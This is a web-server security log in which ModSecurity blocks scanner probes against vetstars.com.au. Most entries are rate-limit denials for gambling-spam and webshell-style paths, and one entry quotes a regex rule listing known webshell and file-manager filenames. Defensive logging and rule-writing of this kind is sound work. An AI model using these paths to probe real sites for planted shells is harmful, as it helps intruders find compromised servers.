[Sat Apr 18 02:41:15.403901 2026] [:error] [pid 59042:tid 59062] [client 51.120.90.220:8115] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi001.PhP7"] [unique_id "aeJ-y56p5oql0UklEBJqYAAAAA8"]
[Sat Apr 18 02:41:15.995706 2026] [:error] [pid 42442:tid 42457] [client 51.120.90.220:8186] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi001.PhP7"] [unique_id "aeJ-yz4PBGqL_yqPJ8lYWAAAAQ0"]
[Sat Apr 18 02:41:16.578734 2026] [:error] [pid 63702:tid 63758] [client 51.120.90.220:23970] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi001.PhP7"] [unique_id "aeJ-zMTL05PWYsKqTEYyjQAAAVE"]
[Sat Apr 18 02:41:17.228500 2026] [:error] [pid 42442:tid 42456] [client 51.120.90.220:23993] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mk.php"] [unique_id "aeJ-zT4PBGqL_yqPJ8lYXgAAAQw"]
[Sat Apr 18 02:41:17.746067 2026] [:error] [pid 59044:tid 59102] [client 51.120.90.220:24188] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mk.php"] [unique_id "aeJ-zQFamkFyEtD_SMHTIAAAAIE"]
[Sat Apr 18 02:41:18.303111 2026] [:error] [pid 59044:tid 59121] [client 51.120.90.220:8151] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mk.php"] [unique_id "aeJ-zgFamkFyEtD_SMHTIwAAAJQ"]
[Sat Apr 18 02:41:18.950781 2026] [:error] [pid 59043:tid 59079] [client 51.120.90.220:24178] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mk.php"] [unique_id "aeJ-zoRtUGE9SfUh2wwkfQAAAEU"]
[Sat Apr 18 02:41:19.613327 2026] [:error] [pid 59136:tid 59139] [client 51.120.90.220:8178] [client 51.120.90.220] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "vetstars.com.au"] [uri "/fm.php"] [unique_id "aeJ-zyaoiUyiIR3EhLXSAQAAAMA"]
[Sat Apr 18 03:41:51.111437 2026] [:error] [pid 9970:tid 9996] [client 54.37.252.137:59082] [client 54.37.252.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20betflik.aspx"] [unique_id "aeKM_yYdRLRhVmaIMx1h0wAAANY"]
[Sat Apr 18 03:41:53.479283 2026] [:error] [pid 9863:tid 9897] [client 54.37.252.137:46370] [client 54.37.252.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20game%20slot.aspx"] [unique_id "aeKNATjjiypiFrTucbLeYgAAABg"]
[Sat Apr 18 03:41:55.954924 2026] [:error] [pid 9970:tid 9980] [client 54.37.252.137:45172] [client 54.37.252.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20game.aspx"] [unique_id "aeKNAyYdRLRhVmaIMx1h4AAAAMY"]
[Sat Apr 18 03:41:58.263031 2026] [:error] [pid 9864:tid 9924] [client 54.37.252.137:45174] [client 54.37.252.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "aeKNBoCFeowknfXHM7kA4wAAAFI"]
[Sat Apr 18 03:42:00.698580 2026] [:error] [pid 9970:tid 9976] [client 54.37.252.137:45190] [client 54.37.252.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20joker.aspx"] [unique_id "aeKNCCYdRLRhVmaIMx1h-AAAAMI"]
[Sat Apr 18 03:42:03.044964 2026] [:error] [pid 9970:tid 9996] [client 54.37.252.137:45192] [client 54.37.252.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "aeKNCyYdRLRhVmaIMx1h_QAAANY"]
[Sat Apr 18 03:42:05.508395 2026] [:error] [pid 9970:tid 9994] [client 54.37.252.137:45194] [client 54.37.252.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20plus.aspx"] [unique_id "aeKNDSYdRLRhVmaIMx1iBgAAANQ"]
[Sat Apr 18 03:42:07.846316 2026] [:error] [pid 9865:tid 9940] [client 54.37.252.137:54244] [client 54.37.252.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20168.aspx"] [unique_id "aeKND6zb5knECIY-C-hhuQAAAIM"]
[Sat Apr 18 03:42:10.125039 2026] [:error] [pid 9970:tid 9978] [client 54.37.252.137:54260] [client 54.37.252.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "aeKNEiYdRLRhVmaIMx1iHgAAAMQ"]
[Sat Apr 18 03:42:12.515968 2026] [:error] [pid 9863:tid 9883] [client 54.37.252.137:54274] [client 54.37.252.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20888th.aspx"] [unique_id "aeKNFDjjiypiFrTucbLelQAAAAo"]
[Sat Apr 18 03:42:15.046565 2026] [:error] [pid 9970:tid 9981] [client 54.37.252.137:54280] [client 54.37.252.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "aeKNFyYdRLRhVmaIMx1iOQAAAMc"]
[Sat Apr 18 03:42:17.573078 2026] [:error] [pid 9863:tid 9892] [client 54.37.252.137:49882] [client 54.37.252.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto.aspx"] [unique_id "aeKNGTjjiypiFrTucbLeoQAAABM"]
[Sat Apr 18 03:42:20.028633 2026] [:error] [pid 9970:tid 9984] [client 54.37.252.137:49888] [client 54.37.252.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20game.aspx"] [unique_id "aeKNHCYdRLRhVmaIMx1iXAAAAMo"]
[Sat Apr 18 03:42:22.613791 2026] [:error] [pid 9970:tid 9987] [client 54.37.252.137:49900] [client 54.37.252.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "aeKNHiYdRLRhVmaIMx1iZgAAAM0"]
[Sat Apr 18 03:42:24.951365 2026] [:error] [pid 9970:tid 9974] [client 54.37.252.137:49916] [client 54.37.252.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vip.aspx"] [unique_id "aeKNICYdRLRhVmaIMx1icgAAAMA"]
[Sat Apr 18 03:42:27.292935 2026] [:error] [pid 9970:tid 9988] [client 54.37.252.137:34282] [client 54.37.252.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "aeKNIyYdRLRhVmaIMx1ihQAAAM4"]
[Sat Apr 18 03:42:29.810889 2026] [:error] [pid 9970:tid 9998] [client 54.37.252.137:34290] [client 54.37.252.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot168.aspx"] [unique_id "aeKNJSYdRLRhVmaIMx1imgAAANg"]
[Sat Apr 18 03:42:32.127601 2026] [:error] [pid 9970:tid 9992] [client 54.37.252.137:34298] [client 54.37.252.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "aeKNKCYdRLRhVmaIMx1iqgAAANI"]
[Sat Apr 18 03:42:34.523694 2026] [:error] [pid 9970:tid 9984] [client 54.37.252.137:34310] [client 54.37.252.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20soft.aspx"] [unique_id "aeKNKiYdRLRhVmaIMx1itgAAAMo"]
[Sat Apr 18 03:42:37.157227 2026] [:error] [pid 9970:tid 9997] [client 54.37.252.137:49650] [client 54.37.252.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20th.aspx"] [unique_id "aeKNLSYdRLRhVmaIMx1ixAAAANc"]
[Sat Apr 18 03:42:39.652794 2026] [:error] [pid 9863:tid 9878] [client 54.37.252.137:49662] [client 54.37.252.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20thailand.aspx"] [unique_id "aeKNLzjjiypiFrTucbLezQAAAAU"]
[Sat Apr 18 03:42:42.164853 2026] [:error] [pid 9863:tid 9884] [client 54.37.252.137:49666] [client 54.37.252.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20wallet.aspx"] [unique_id "aeKNMjjjiypiFrTucbLe2QAAAAs"]
[Sat Apr 18 03:42:44.594859 2026] [:error] [pid 9970:tid 9982] [client 54.37.252.137:49674] [client 54.37.252.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20world.aspx"] [unique_id "aeKNNCYdRLRhVmaIMx1i3QAAAMg"]
[Sat Apr 18 03:43:26.250558 2026] [:error] [pid 9970:tid 9984] [client 54.37.252.137:59326] [client 54.37.252.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20auto.aspx"] [unique_id "aeKNXiYdRLRhVmaIMx1jwwAAAMo"]
[Sat Apr 18 03:43:28.681937 2026] [:error] [pid 9864:tid 9928] [client 54.37.252.137:36778] [client 54.37.252.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20demo.aspx"] [unique_id "aeKNYICFeowknfXHM7kBbQAAAFY"]
[Sat Apr 18 03:43:31.200415 2026] [:error] [pid 9864:tid 9927] [client 54.37.252.137:36788] [client 54.37.252.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20free.aspx"] [unique_id "aeKNY4CFeowknfXHM7kBcQAAAFU"]
[Sat Apr 18 03:43:33.692098 2026] [:error] [pid 9865:tid 9938] [client 54.37.252.137:36802] [client 54.37.252.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "aeKNZazb5knECIY-C-hifAAAAIE"]
[Sat Apr 18 03:43:36.048302 2026] [:error] [pid 9865:tid 9956] [client 54.37.252.137:36308] [client 54.37.252.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20joker.aspx"] [unique_id "aeKNaKzb5knECIY-C-hihgAAAJM"]
[Sat Apr 18 03:43:38.549514 2026] [:error] [pid 9863:tid 9893] [client 54.37.252.137:36314] [client 54.37.252.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20online.aspx"] [unique_id "aeKNajjjiypiFrTucbLfdQAAABQ"]
[Sat Apr 18 03:43:41.048863 2026] [:error] [pid 9864:tid 9915] [client 54.37.252.137:36322] [client 54.37.252.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "aeKNbYCFeowknfXHM7kBkAAAAEk"]
[Sat Apr 18 03:43:43.389681 2026] [:error] [pid 9970:tid 9985] [client 54.37.252.137:36332] [client 54.37.252.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "aeKNbyYdRLRhVmaIMx1j-QAAAMs"]
[Sat Apr 18 03:43:45.709019 2026] [:error] [pid 9863:tid 9884] [client 54.37.252.137:58134] [client 54.37.252.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "aeKNcTjjiypiFrTucbLffwAAAAs"]
[Sat Apr 18 03:43:48.173675 2026] [:error] [pid 9863:tid 9881] [client 54.37.252.137:58144] [client 54.37.252.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "aeKNdDjjiypiFrTucbLfiwAAAAg"]
[Sat Apr 18 03:43:50.664568 2026] [:error] [pid 9970:tid 9988] [client 54.37.252.137:58158] [client 54.37.252.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "aeKNdiYdRLRhVmaIMx1kGAAAAM4"]
[Sat Apr 18 03:43:53.189939 2026] [:error] [pid 9970:tid 9990] [client 54.37.252.137:58168] [client 54.37.252.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "aeKNeSYdRLRhVmaIMx1kHwAAANA"]
[Sat Apr 18 03:43:55.715579 2026] [:error] [pid 9865:tid 9940] [client 54.37.252.137:34488] [client 54.37.252.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "aeKNe6zb5knECIY-C-hitgAAAIM"]
[Sat Apr 18 03:43:58.240350 2026] [:error] [pid 9865:tid 9947] [client 54.37.252.137:34502] [client 54.37.252.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "aeKNfqzb5knECIY-C-hivAAAAIo"]
[Sat Apr 18 03:44:00.793975 2026] [:error] [pid 9864:tid 9918] [client 54.37.252.137:34518] [client 54.37.252.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "aeKNgICFeowknfXHM7kB0AAAAEw"]
[Sat Apr 18 03:44:03.315418 2026] [:error] [pid 9864:tid 9920] [client 54.37.252.137:34520] [client 54.37.252.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "aeKNg4CFeowknfXHM7kB3AAAAE4"]
[Sat Apr 18 03:44:05.810875 2026] [:error] [pid 9970:tid 9993] [client 54.37.252.137:42306] [client 54.37.252.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spg%20slot.aspx"] [unique_id "aeKNhSYdRLRhVmaIMx1kMQAAANM"]
[Sat Apr 18 03:44:08.351740 2026] [:error] [pid 9863:tid 9893] [client 54.37.252.137:42322] [client 54.37.252.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spx%20slot.aspx"] [unique_id "aeKNiDjjiypiFrTucbLgAQAAABQ"]
[Sat Apr 18 03:44:10.841595 2026] [:error] [pid 9864:tid 9927] [client 54.37.252.137:42330] [client 54.37.252.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20pg%201688.aspx"] [unique_id "aeKNioCFeowknfXHM7kB9QAAAFU"]
[Sat Apr 18 03:44:13.212247 2026] [:error] [pid 9864:tid 9913] [client 54.37.252.137:42336] [client 54.37.252.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20slot.aspx"] [unique_id "aeKNjYCFeowknfXHM7kCDAAAAEc"]
[Sat Apr 18 03:44:15.725940 2026] [:error] [pid 9970:tid 9977] [client 54.37.252.137:35300] [client 54.37.252.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "aeKNjyYdRLRhVmaIMx1kaQAAAMM"]
[Sat Apr 18 03:44:18.234460 2026] [:error] [pid 9863:tid 9892] [client 54.37.252.137:35312] [client 54.37.252.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20vip.aspx"] [unique_id "aeKNkjjjiypiFrTucbLgKgAAABM"]
[Sat Apr 18 03:44:20.722363 2026] [:error] [pid 9864:tid 9913] [client 54.37.252.137:35322] [client 54.37.252.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "aeKNlICFeowknfXHM7kCFwAAAEc"]
[Sat Apr 18 03:45:01.955800 2026] [:error] [pid 9863:tid 9873] [client 54.37.252.137:35338] [client 54.37.252.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%207777.aspx"] [unique_id "aeKNvTjjiypiFrTucbLgZQAAAAA"]
